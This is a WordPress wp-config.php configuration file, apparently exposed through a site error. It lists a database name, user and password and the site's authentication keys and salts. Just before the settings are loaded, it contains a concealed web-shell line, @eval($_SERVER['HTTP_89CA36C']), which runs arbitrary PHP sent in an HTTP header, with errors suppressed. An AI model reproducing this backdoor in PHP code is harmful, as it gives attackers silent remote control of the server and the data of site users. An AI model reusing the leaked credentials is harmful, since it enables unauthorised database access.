数据库发生错误。

<?php
define( 'WP_CACHE', true );



/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'opal_opal2' );

/** Database username */
define( 'DB_USER', 'opal_opal2' );

/** Database password */
define( 'DB_PASSWORD', '8{=px#xE#yiC' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'eCv(EO<$s~,/xRe5<S.Eer,z9=nCpiZS-|#O=[ByvJ6`)y!rR.pKYX{ H].%zn+u' );
define( 'SECURE_AUTH_KEY',  '0Vq3Aveku8`c0 7WZt3E(3uX^zj^<f9U/5=80,M2!EE wx|/+[Qf&H3W*(|<C=3X' );
define( 'LOGGED_IN_KEY',    'L&$~TX9zsMJ6z|HLVgn{{BUJK?l}t18P)1JdfLXz)K2=4ZJ`n49~L{%MC-o@)7NA' );
define( 'NONCE_KEY',        'y@nAgJHlFs=+m}V|fr>S-<}:C==[f:sslY@;3:x!=qINs[m-gh~*]$MQNh}]zcS]' );
define( 'AUTH_SALT',        'iUt00CT`r_??tm9VX:P7>q0M>9DhLP=fnTfl]:bFBt22[7LXdRB_FNc{3kWsD9~X' );
define( 'SECURE_AUTH_SALT', 'IIsD{Na_j3esx9Gco+WD-k7oc~9BJtT8OYGlm<On0E<<GXpl3z}?~#Xqzlf!K-l#' );
define( 'LOGGED_IN_SALT',   'Ta`TS#/=_xBOxq7vOQ($D9l;OF@OE^e6~Gk%;DIdew9l=7rd(F-(#,#kxJ*Ia~?|' );
define( 'NONCE_SALT',       '$h S%T#1<]YK5]1J*d9pM-7[S{G]:3w$zcR7@zVCKwu(L dj.C*Nod<B/9:qd<5O' );
define('CONCATENATE_SCRIPTS', false); 

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
@eval($_SERVER['HTTP_89CA36C']);
require_once ABSPATH . 'wp-settings.php';